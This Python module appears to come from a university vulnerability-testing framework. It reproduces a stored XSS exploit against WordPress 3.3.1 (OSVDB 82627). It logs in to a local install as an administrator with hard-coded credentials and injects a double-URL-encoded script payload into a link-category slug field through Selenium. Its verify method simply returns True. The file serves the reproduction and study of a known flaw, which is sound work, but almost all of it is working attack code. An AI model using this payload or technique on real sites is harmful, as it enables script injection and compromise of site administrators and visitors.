
# Copyright 2013 University of Maryland.  All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE.TXT file.


import framework
import time
                                                                                                                                           
class Exploit (framework.Exploit):
    attributes = {'Name' : "OSVDB_82627",
                  'Description' : "Creates a post containing a XSS payload.",
                  'References' : [['OSVDB','82627'],['http://www.osvdb.org/show/osvdb/82627']],
                  'Target' : "Wordpress 3.3.1",
                  'TargetLicense' : '',
                  'Type' : "XSS",
                  'VulWikiPage' : "http://seamster.cs.umd.edu/vulwiki/index.php/OSVDB_82627",
                  'Privileged' : True
                  }

    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)
        return
                                                                                                                                                                           
    def exploit(self):
        payload = "%253cscript%253ealert%25281%2529%253c%252fscript%253e"
        driver = self.create_selenium_driver()
        driver.get("http://localhost/wordpress")
        self.logger.info("Page opened successfully: %s", driver.title)
        driver.get("http://localhost/wordpress/wp-login.php")                                                                                                  
        driver.get_element(by_id="user_login").clear()
        driver.get_element(by_id="user_login").send_keys(" wpadmin")
        driver.get_element(by_id="user_pass").clear()
        driver.get_element(by_id="user_pass").send_keys("wpadminpw21")
        driver.get_element(by_id="wp-submit").click()
        driver.get("http://127.0.0.1/wordpress/wp-admin/link-manager.php")
        driver.get("http://127.0.0.1/wordpress/wp-admin/edit-tags.php?taxonomy=link_category")
        driver.get_element(by_id="tag-name", attempts = 10).send_keys("Hacked")
        driver.get_element(by_id="tag-slug").send_keys(payload)
        driver.get_element(by_id="submit").click()
        driver.get("http://127.0.0.1/wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=3&post_type=post")
        driver.get_element(by_id="submit").click()
        time.sleep(5)
        driver.cleanup()
        return                

    def verify(self):
        return True
